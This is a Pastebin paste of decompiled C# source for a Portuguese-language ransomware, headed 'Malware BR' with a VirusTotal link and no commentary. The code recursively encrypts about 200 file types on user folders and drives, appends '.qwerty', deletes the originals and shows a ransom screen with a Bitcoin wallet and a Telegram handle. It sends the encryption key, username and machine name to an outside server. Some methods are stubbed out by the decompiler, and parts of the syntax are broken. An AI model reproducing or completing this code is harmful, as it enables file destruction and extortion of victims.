Advertisement
Guest User

Untitled

a guest
Jan 24th, 2018
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.89 KB | None | 0 0
  1. Malware BR:
  2.  
  3. https://www.virustotal.com/pt/file/576415db352356b31c487bf5fb29f406cf37bcd1ed6b00f2004e9cca5e9e5c40/analysis/
  4.  
  5. Malware Reverse:
  6.  
  7. using System;
  8. using System.ComponentModel;
  9. using System.Diagnostics;
  10. using System.Drawing;
  11. using System.IO;
  12. using System.Security.Cryptography;
  13. using System.Text;
  14. using System.Windows.Forms;
  15.  
  16. namespace Instalador
  17. {
  18.  
  19. public class frmInstalador : Form
  20. {
  21.  
  22. private Button button1;
  23. private Button button2;
  24. private IContainer components;
  25. private ErrorProvider errorProvider1;
  26. private Label label1;
  27. private Label label2;
  28. private Label label3;
  29. private Label label4;
  30. private Label label5;
  31. private Label label6;
  32. private Label label7;
  33. private LinkLabel linkLabel1;
  34. private Panel panel1;
  35. private Panel panel2;
  36. private string pcn;
  37. private PictureBox pictureBox1;
  38. private ProgressBar progressBar1;
  39. private ProgressBar progressBar2;
  40. private TextBox textBox1;
  41. private TextBox textBox2;
  42. private int totalFile;
  43. private string us;
  44.  
  45. public frmInstalador()
  46. {
  47. us = Environment.UserName;
  48. pcn = Environment.MachineName.ToString();
  49. totalFile = 0;
  50. components = null;
  51. InitializeComponent();
  52. }
  53.  
  54. private void button1_Click(object sender, EventArgs e)
  55. {
  56. // trial
  57. }
  58.  
  59. private void button2_Click(object sender, EventArgs e)
  60. {
  61. // trial
  62. }
  63.  
  64. private void d(string inputFile, string _key)
  65. {
  66. // trial
  67. }
  68.  
  69. public void dd(string location, string key)
  70. {
  71. bool flag2, flag3;
  72.  
  73. try
  74. {
  75. string[] sArr1 = Directory.GetFiles(location);
  76. string[] sArr2 = Directory.GetDirectories(location);
  77. int i1 = 0;
  78. while (flag2)
  79. {
  80. Show();
  81. Refresh();
  82. Application.DoEvents();
  83. try
  84. {
  85. string s = Path.GetExtension(sArr1[i1]);
  86. bool flag1 = Path.GetExtension(sArr1[i1]) == ".qwerty";
  87. if (flag1)
  88. d(sArr1[i1], key);
  89. }
  90. catch
  91. {
  92. }
  93. i1++;
  94. flag2 = i1 < sArr1.Length;
  95. }
  96. int i2 = 0;
  97. while (flag3)
  98. {
  99. try
  100. {
  101. dd(sArr2[i2], key);
  102. }
  103. catch
  104. {
  105. }
  106. i2++;
  107. flag3 = i2 < sArr2.Length;
  108. }
  109. }
  110. catch (Exception e)
  111. {
  112. }
  113. }
  114.  
  115. private void e(string inputFile, string _key)
  116. {
  117. bool flag2, flag3;
  118. int i1;
  119.  
  120. try
  121. {
  122. bool flag1 = !File.Exists(inputFile);
  123. if (flag1)
  124. return;
  125. string s1 = inputFile + ".qwerty";
  126. UnicodeEncoding unicodeEncoding = new UnicodeEncoding();
  127. byte[] bArr1 = unicodeEncoding.GetBytes(_key);
  128. byte[] bArr2 = unicodeEncoding.GetBytes(gi());
  129. int i2 = 0;
  130. while (flag2)
  131. {
  132. bArr1 = SHA256.Create().ComputeHash(bArr1);
  133. i2++;
  134. flag2 = i2 < 10;
  135. }
  136. string s2 = s1;
  137. FileStream fileStream1 = new FileStream(s2, FileMode.Create);
  138. RijndaelManaged rijndaelManaged = new RijndaelManaged();
  139. CryptoStream cryptoStream = new CryptoStream(fileStream1, rijndaelManaged.CreateEncryptor(bArr1, bArr2), CryptoStreamMode.Write);
  140. FileStream fileStream2 = new FileStream(inputFile, FileMode.Open);
  141. while (flag3)
  142. {
  143. cryptoStream.WriteByte((byte)i1);
  144. i1 = fileStream2.ReadByte();
  145. flag3 = fileStream2.ReadByte() != -1;
  146. }
  147. fileStream2.Close();
  148. cryptoStream.Close();
  149. fileStream1.Close();
  150. File.Delete(inputFile);
  151. totalFile++;
  152. }
  153. catch (Exception e)
  154. {
  155. }
  156. }
  157.  
  158. public void ed(string location, string key)
  159. {
  160. bool flag3, flag4, flag5;
  161.  
  162. try
  163. {
  164. new string[201][0] = ".cs";
  165. new string[201][1] = ".txt";
  166. new string[201][2] = ".doc";
  167. new string[201][3] = ".docx";
  168. new string[201][4] = ".xls";
  169. new string[201][5] = ".xlsx";
  170. new string[201][6] = ".ppt";
  171. new string[201][7] = ".pptx";
  172. new string[201][8] = ".odt";
  173. new string[201][9] = "jpeg";
  174. new string[201][10] = ".png";
  175. new string[201][11] = ".csv";
  176. new string[201][12] = ".sql";
  177. new string[201][13] = ".mdb";
  178. new string[201][14] = ".sln";
  179. new string[201][15] = ".php";
  180. new string[201][16] = ".asp";
  181. new string[201][17] = ".aspx";
  182. new string[201][18] = ".html";
  183. new string[201][19] = ".xml";
  184. new string[201][20] = ".psd";
  185. new string[201][21] = ".sql";
  186. new string[201][22] = ".mp4";
  187. new string[201][23] = ".mp3";
  188. new string[201][24] = ".7z";
  189. new string[201][25] = ".rar";
  190. new string[201][26] = ".m4a";
  191. new string[201][27] = ".wma";
  192. new string[201][28] = ".avi";
  193. new string[201][29] = ".wmv";
  194. new string[201][30] = ".csv";
  195. new string[201][31] = ".zip";
  196. new string[201][32] = ".sie";
  197. new string[201][33] = ".sum";
  198. new string[201][34] = ".ibank";
  199. new string[201][35] = ".t13";
  200. new string[201][36] = ".t12";
  201. new string[201][37] = ".qdf";
  202. new string[201][38] = ".gdb";
  203. new string[201][39] = ".tax";
  204. new string[201][40] = ".pkpass";
  205. new string[201][41] = ".bc6";
  206. new string[201][42] = ".bc7";
  207. new string[201][43] = ".bkp";
  208. new string[201][44] = ".qic";
  209. new string[201][45] = ".bkf";
  210. new string[201][46] = ".sidn";
  211. new string[201][47] = ".sidd";
  212. new string[201][48] = ".mddata";
  213. new string[201][49] = ".itl";
  214. new string[201][50] = ".itdb";
  215. new string[201][51] = ".icxs";
  216. new string[201][52] = ".hvpl";
  217. new string[201][53] = ".hplg";
  218. new string[201][54] = ".hkdb";
  219. new string[201][55] = ".mdbackup";
  220. new string[201][56] = ".syncdb";
  221. new string[201][57] = ".gho";
  222. new string[201][58] = ".cas";
  223. new string[201][59] = ".svg";
  224. new string[201][60] = ".map";
  225. new string[201][61] = ".wmo";
  226. new string[201][62] = ".itm";
  227. new string[201][63] = ".sb";
  228. new string[201][64] = ".fos";
  229. new string[201][65] = ".mov";
  230. new string[201][66] = ".vdf";
  231. new string[201][67] = ".ztmp";
  232. new string[201][68] = ".sis";
  233. new string[201][69] = ".sid";
  234. new string[201][70] = ".ncf";
  235. new string[201][71] = ".menu";
  236. new string[201][72] = ".layout";
  237. new string[201][73] = ".dmp";
  238. new string[201][74] = ".blob";
  239. new string[201][75] = ".esm";
  240. new string[201][76] = ".vcf";
  241. new string[201][77] = ".vtf";
  242. new string[201][78] = ".dazip";
  243. new string[201][79] = ".fpk";
  244. new string[201][80] = ".mlx";
  245. new string[201][81] = ".kf";
  246. new string[201][82] = ".iwd";
  247. new string[201][83] = ".vpk";
  248. new string[201][84] = ".tor";
  249. new string[201][85] = ".psk";
  250. new string[201][86] = ".rim";
  251. new string[201][87] = ".w3x";
  252. new string[201][88] = ".fsh";
  253. new string[201][89] = ".ntl";
  254. new string[201][90] = ".arch00";
  255. new string[201][91] = ".lvl";
  256. new string[201][92] = ".snx";
  257. new string[201][93] = ".cfr";
  258. new string[201][94] = ".ff";
  259. new string[201][95] = ".vpp_pc";
  260. new string[201][96] = ".lrf";
  261. new string[201][97] = ".m2";
  262. new string[201][98] = ".mcmeta";
  263. new string[201][99] = ".vfs0";
  264. new string[201][100] = ".mpqge";
  265. new string[201][101] = ".kdb";
  266. new string[201][102] = ".db0";
  267. new string[201][103] = ".dba";
  268. new string[201][104] = ".rofl";
  269. new string[201][105] = ".hkx";
  270. new string[201][106] = ".bar";
  271. new string[201][107] = ".upk";
  272. new string[201][108] = ".das";
  273. new string[201][109] = ".iwi";
  274. new string[201][110] = ".litemod";
  275. new string[201][111] = ".asset";
  276. new string[201][112] = ".forge";
  277. new string[201][113] = ".ltx";
  278. new string[201][114] = ".bsa";
  279. new string[201][115] = ".apk";
  280. new string[201][116] = ".re4";
  281. new string[201][117] = ".sav";
  282. new string[201][118] = ".lbf";
  283. new string[201][119] = ".slm";
  284. new string[201][120] = ".bik";
  285. new string[201][121] = ".epk";
  286. new string[201][122] = ".rgss3a";
  287. new string[201][123] = ".pak";
  288. new string[201][124] = ".big";
  289. new string[201][125] = "wallet";
  290. new string[201][126] = ".wotreplay";
  291. new string[201][127] = ".xxx";
  292. new string[201][128] = ".desc";
  293. new string[201][129] = ".py";
  294. new string[201][130] = ".m3u";
  295. new string[201][131] = ".flv";
  296. new string[201][132] = ".js";
  297. new string[201][133] = ".css";
  298. new string[201][134] = ".pk7";
  299. new string[201][135] = ".p7b";
  300. new string[201][136] = ".p12";
  301. new string[201][137] = ".pfx";
  302. new string[201][138] = ".pem";
  303. new string[201][139] = ".crt";
  304. new string[201][140] = ".cer";
  305. new string[201][141] = ".der";
  306. new string[201][142] = ".x3f";
  307. new string[201][143] = ".srw";
  308. new string[201][144] = ".pef";
  309. new string[201][145] = ".ptx";
  310. new string[201][146] = ".r3d";
  311. new string[201][147] = ".rw2";
  312. new string[201][148] = ".rwl";
  313. new string[201][149] = ".raw";
  314. new string[201][150] = ".raf";
  315. new string[201][151] = ".orf";
  316. new string[201][152] = ".nrw";
  317. new string[201][153] = ".mrwref";
  318. new string[201][154] = ".mef";
  319. new string[201][155] = ".erf";
  320. new string[201][156] = ".kdc";
  321. new string[201][157] = ".dcr";
  322. new string[201][158] = ".cr2";
  323. new string[201][159] = ".crw";
  324. new string[201][160] = ".bay";
  325. new string[201][161] = ".sr2";
  326. new string[201][162] = ".srf";
  327. new string[201][163] = ".arw";
  328. new string[201][164] = ".3fr";
  329. new string[201][165] = ".dng";
  330. new string[201][166] = ".jpe";
  331. new string[201][167] = ".jpg";
  332. new string[201][168] = ".cdr";
  333. new string[201][169] = ".indd";
  334. new string[201][170] = ".ai";
  335. new string[201][171] = ".eps";
  336. new string[201][172] = ".pdf";
  337. new string[201][173] = ".pdd";
  338. new string[201][174] = ".dbf";
  339. new string[201][175] = ".mdf";
  340. new string[201][176] = ".wb2";
  341. new string[201][177] = ".rtf";
  342. new string[201][178] = ".wpd";
  343. new string[201][179] = ".dxg";
  344. new string[201][180] = ".pst";
  345. new string[201][181] = ".accdb";
  346. new string[201][182] = ".mdb";
  347. new string[201][183] = ".pptm";
  348. new string[201][184] = ".pptx";
  349. new string[201][185] = ".ppt";
  350. new string[201][186] = ".xlk";
  351. new string[201][187] = ".xlsb";
  352. new string[201][188] = ".xlsm";
  353. new string[201][189] = ".xlsx";
  354. new string[201][190] = ".xls";
  355. new string[201][191] = ".wps";
  356. new string[201][192] = ".docm";
  357. new string[201][193] = ".docx";
  358. new string[201][194] = ".doc";
  359. new string[201][195] = ".odb";
  360. new string[201][196] = ".odc";
  361. new string[201][197] = ".odm";
  362. new string[201][198] = ".odp";
  363. new string[201][199] = ".ods";
  364. new string[201][200] = ".odt";
  365. string[] sArr1 = new string[201];
  366. string[] sArr2 = Directory.GetFiles(location);
  367. string[] sArr3 = Directory.GetDirectories(location);
  368. int i1 = 0;
  369. while (flag4)
  370. {
  371. Show();
  372. Refresh();
  373. Application.DoEvents();
  374. try
  375. {
  376. string s = Path.GetExtension(sArr2[i1]);
  377. int i2 = 0;
  378. while (flag3)
  379. {
  380. bool flag1 = sArr1[i2].IndexOf(s) >= 0;
  381. if (flag1)
  382. {
  383. bool flag2 = Path.GetExtension(sArr2[i1]) != ".qwerty";
  384. if (flag2)
  385. e(sArr2[i1], key);
  386. }
  387. i2++;
  388. flag3 = i2 < sArr1.Length;
  389. }
  390. }
  391. catch
  392. {
  393. }
  394. i1++;
  395. flag4 = i1 < sArr2.Length;
  396. }
  397. int i3 = 0;
  398. while (flag5)
  399. {
  400. try
  401. {
  402. ed(sArr3[i3], key);
  403. }
  404. catch
  405. {
  406. }
  407. i3++;
  408. flag5 = i3 < sArr3.Length;
  409. }
  410. }
  411. catch (Exception e)
  412. {
  413. }
  414. }
  415.  
  416. private void frmInstalador_Load(object sender, EventArgs e)
  417. {
  418. Show();
  419. Refresh();
  420. Application.DoEvents();
  421. m();
  422. }
  423.  
  424. private string gi()
  425. {
  426. // trial
  427. return null;
  428. }
  429.  
  430. private void InitializeComponent()
  431. {
  432. components = new Container();
  433. ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(frmInstalador));
  434. panel1 = new Panel();
  435. pictureBox1 = new PictureBox();
  436. button2 = new Button();
  437. label7 = new Label();
  438. label6 = new Label();
  439. textBox2 = new TextBox();
  440. label5 = new Label();
  441. panel2 = new Panel();
  442. progressBar2 = new ProgressBar();
  443. label4 = new Label();
  444. button1 = new Button();
  445. textBox1 = new TextBox();
  446. label1 = new Label();
  447. label2 = new Label();
  448. progressBar1 = new ProgressBar();
  449. label3 = new Label();
  450. errorProvider1 = new ErrorProvider(components);
  451. linkLabel1 = new LinkLabel();
  452. panel1.SuspendLayout();
  453. pictureBox1.BeginInit();
  454. panel2.SuspendLayout();
  455. errorProvider1.BeginInit();
  456. SuspendLayout();
  457. panel1.Controls.Add(pictureBox1);
  458. panel1.Controls.Add(button2);
  459. panel1.Controls.Add(label7);
  460. panel1.Controls.Add(label6);
  461. panel1.Controls.Add(linkLabel1);
  462. panel1.Controls.Add(textBox2);
  463. panel1.Controls.Add(label5);
  464. panel1.Controls.Add(panel2);
  465. panel1.Controls.Add(button1);
  466. panel1.Controls.Add(textBox1);
  467. panel1.Controls.Add(label1);
  468. panel1.Location = new Point(0, 3);
  469. panel1.Name = "panel1";
  470. panel1.Size = new Size(628, 453);
  471. panel1.TabIndex = 0;
  472. panel1.Visible = false;
  473. pictureBox1.Image = (Image)componentResourceManager.GetObject("pictureBox1.Image");
  474. pictureBox1.Location = new Point(3, 226);
  475. pictureBox1.Name = "pictureBox1";
  476. pictureBox1.Size = new Size(245, 132);
  477. pictureBox1.SizeMode = PictureBoxSizeMode.StretchImage;
  478. pictureBox1.TabIndex = 10;
  479. pictureBox1.TabStop = false;
  480. button2.Location = new Point(566, 259);
  481. button2.Name = "button2";
  482. button2.Size = new Size(51, 21);
  483. button2.TabIndex = 9;
  484. button2.Text = "Copiar";
  485. button2.UseVisualStyleBackColor = true;
  486. button2.Click += new EventHandler(button2_Click);
  487. label7.AutoSize = true;
  488. label7.Font = new Font("Microsoft Sans Serif", 8.25F, FontStyle.Bold, GraphicsUnit.Point, 0);
  489. label7.Location = new Point(277, 245);
  490. label7.Name = "label7";
  491. label7.Size = new Size(344, 13);
  492. label7.TabIndex = 8;
  493. label7.Text = "Carteira Bitcoin: 15tGsTDLMztrxP1kCoKPBTaBgv1xCKRtkY";
  494. label6.AutoSize = true;
  495. label6.Location = new Point(251, 339);
  496. label6.Name = "label6";
  497. label6.Size = new Size(54, 13);
  498. label6.TabIndex = 7;
  499. label6.Text = "Telegram:";
  500. textBox2.Location = new Point(3, 36);
  501. textBox2.Multiline = true;
  502. textBox2.Name = "textBox2";
  503. textBox2.Size = new Size(620, 188);
  504. textBox2.TabIndex = 5;
  505. textBox2.Text = componentResourceManager.GetString("textBox2.Text");
  506. label5.AutoSize = true;
  507. label5.Font = new Font("Microsoft Sans Serif", 16.0F, FontStyle.Regular, GraphicsUnit.Point, 0);
  508. label5.ForeColor = Color.DarkRed;
  509. label5.Location = new Point(33, 8);
  510. label5.Name = "label5";
  511. label5.Size = new Size(562, 26);
  512. label5.TabIndex = 4;
  513. label5.Text = "ATEN\u00C7\u00C3O! Todos os seus arquivos foram sequestrados!";
  514. panel2.Controls.Add(progressBar2);
  515. panel2.Controls.Add(label4);
  516. panel2.Location = new Point(3, 358);
  517. panel2.Name = "panel2";
  518. panel2.Size = new Size(620, 94);
  519. panel2.TabIndex = 3;
  520. panel2.Visible = false;
  521. progressBar2.Location = new Point(218, 73);
  522. progressBar2.Name = "progressBar2";
  523. progressBar2.Size = new Size(388, 18);
  524. progressBar2.Style = ProgressBarStyle.Marquee;
  525. progressBar2.TabIndex = 1;
  526. label4.AutoSize = true;
  527. label4.Font = new Font("Microsoft Sans Serif", 12.0F, FontStyle.Regular, GraphicsUnit.Point, 0);
  528. label4.Location = new Point(9, 11);
  529. label4.Name = "label4";
  530. label4.Size = new Size(409, 80);
  531. label4.TabIndex = 0;
  532. label4.Text = "Estamos agora tirando a criptografia dos seus arquivos...\r\nPor favor n\u00E3o feche esse programa!\r\nEsse processo pode demorar v\u00E1rios minutos!\r\nAvisaremos quando acabar!\r\n";
  533. button1.Location = new Point(475, 333);
  534. button1.Name = "button1";
  535. button1.Size = new Size(148, 23);
  536. button1.TabIndex = 2;
  537. button1.Text = "Desbloquear meus arquivos";
  538. button1.UseVisualStyleBackColor = true;
  539. button1.Click += new EventHandler(button1_Click);
  540. textBox1.Location = new Point(250, 292);
  541. textBox1.Multiline = true;
  542. textBox1.Name = "textBox1";
  543. textBox1.Size = new Size(367, 39);
  544. textBox1.TabIndex = 1;
  545. label1.AutoSize = true;
  546. label1.Font = new Font("Microsoft Sans Serif", 8.25F, FontStyle.Bold, GraphicsUnit.Point, 0);
  547. label1.Location = new Point(247, 276);
  548. label1.Name = "label1";
  549. label1.Size = new Size(112, 13);
  550. label1.TabIndex = 0;
  551. label1.Text = "Digite o password:";
  552. label2.AutoSize = true;
  553. label2.Font = new Font("Microsoft Sans Serif", 30.0F, FontStyle.Regular, GraphicsUnit.Point, 0);
  554. label2.Location = new Point(131, 58);
  555. label2.Name = "label2";
  556. label2.Size = new Size(371, 46);
  557. label2.TabIndex = 1;
  558. label2.Text = "Por favor aguarde...";
  559. progressBar1.Location = new Point(25, 143);
  560. progressBar1.Name = "progressBar1";
  561. progressBar1.Size = new Size(598, 23);
  562. progressBar1.Style = ProgressBarStyle.Marquee;
  563. progressBar1.TabIndex = 2;
  564. label3.AutoSize = true;
  565. label3.Font = new Font("Microsoft Sans Serif", 20.0F, FontStyle.Regular, GraphicsUnit.Point, 0);
  566. label3.Location = new Point(6, 104);
  567. label3.Name = "label3";
  568. label3.Size = new Size(626, 31);
  569. label3.TabIndex = 3;
  570. label3.Text = "Verificando comunica\u00E7\u00E3o com nossos servidores...";
  571. errorProvider1.ContainerControl = this;
  572. linkLabel1.AutoSize = true;
  573. linkLabel1.Font = new Font("Microsoft Sans Serif", 12.0F, FontStyle.Regular, GraphicsUnit.Point, 0);
  574. linkLabel1.Location = new Point(322, 334);
  575. linkLabel1.Name = "linkLabel1";
  576. linkLabel1.Size = new Size(0, 20);
  577. linkLabel1.TabIndex = 6;
  578. AutoScaleDimensions = new SizeF(6.0F, 13.0F);
  579. AutoScaleMode = AutoScaleMode.Font;
  580. ClientSize = new Size(635, 461);
  581. Controls.Add(panel1);
  582. Controls.Add(label3);
  583. Controls.Add(progressBar1);
  584. Controls.Add(label2);
  585. Name = "frmInstalador";
  586. StartPosition = FormStartPosition.CenterScreen;
  587. Text = "Aguarde...";
  588. TopMost = true;
  589. Load += new EventHandler(frmInstalador_Load);
  590. panel1.ResumeLayout(false);
  591. panel1.PerformLayout();
  592. pictureBox1.EndInit();
  593. panel2.ResumeLayout(false);
  594. panel2.PerformLayout();
  595. errorProvider1.EndInit();
  596. ResumeLayout(false);
  597. PerformLayout();
  598. }
  599.  
  600. private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
  601. {
  602. Process.Start("http://t.me/@rodolfoanubis");
  603. }
  604.  
  605. private void m()
  606. {
  607. try
  608. {
  609. bool flag = !File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\qwerty");
  610. if (flag)
  611. {
  612. File.Create(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\qwerty");
  613. Show();
  614. Refresh();
  615. Application.DoEvents();
  616. panel1.Visible = false;
  617. string s = frmInstalador.cp(2048);
  618. new string[8][0] = "http://darkminer.scienceontheweb.net/make.php?info=KEY ";
  619. DateTime dateTime = DateTime.Now;
  620. new string[8][1] = dateTime.ToString("ddMMyy HHmmss");
  621. new string[8][2] = " - ";
  622. new string[8][3] = us;
  623. new string[8][4] = " | ";
  624. new string[8][5] = pcn;
  625. new string[8][6] = " | ";
  626. new string[8][7] = s;
  627. frmInstalador.get(String.Concat(new string[8]));
  628. linkLabel1.Text = frmInstalador.get("http://darkminer.scienceontheweb.net/t.txt");
  629. ed("C:\\Users\\" + us + "\\", s);
  630. ed("D:\\", s);
  631. ed("E:\\", s);
  632. ed("F:\\", s);
  633. ed("G:\\", s);
  634. ed("H:\\", s);
  635. ed("I:\\", s);
  636. ed("J:\\", s);
  637. ed("K:\\", s);
  638. ed(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), s);
  639. ed(Environment.GetFolderPath(Environment.SpecialFolder.Personal), s);
  640. ed(Environment.GetFolderPath(Environment.SpecialFolder.MyMusic), s);
  641. ed(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures), s);
  642. ed(Environment.GetFolderPath(Environment.SpecialFolder.Personal), s);
  643. ed(Environment.GetFolderPath(Environment.SpecialFolder.Recent), s);
  644. new object[4][0] = "http://darkminer.scienceontheweb.net/make.php?info=INFO ";
  645. dateTime = DateTime.Now;
  646. new object[4][1] = dateTime.ToString("ddMMyy HHmmss");
  647. new object[4][2] = " Total Files ";
  648. new object[4][3] = totalFile;
  649. frmInstalador.get(String.Concat(new object[4]));
  650. }
  651. panel1.Visible = true;
  652. }
  653. catch
  654. {
  655. }
  656. }
  657.  
  658. protected override void Dispose(bool disposing)
  659. {
  660. // trial
  661. }
  662.  
  663. public static string cp(int length)
  664. {
  665. bool flag;
  666.  
  667. StringBuilder stringBuilder = new StringBuilder();
  668. RNGCryptoServiceProvider rngcryptoServiceProvider = new RNGCryptoServiceProvider();
  669. while (flag)
  670. {
  671. stringBuilder.Append("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"[frmInstalador.gi(rngcryptoServiceProvider, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890".Length)]);
  672. flag = length-- > 0;
  673. }
  674. return stringBuilder.ToString();
  675. }
  676.  
  677. public static string get(string url)
  678. {
  679. // trial
  680. return null;
  681. }
  682.  
  683. public static int gi(RNGCryptoServiceProvider rnd, int max)
  684. {
  685. // trial
  686. return 0;
  687. }
  688.  
  689. } // class frmInstalador
  690.  
  691. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement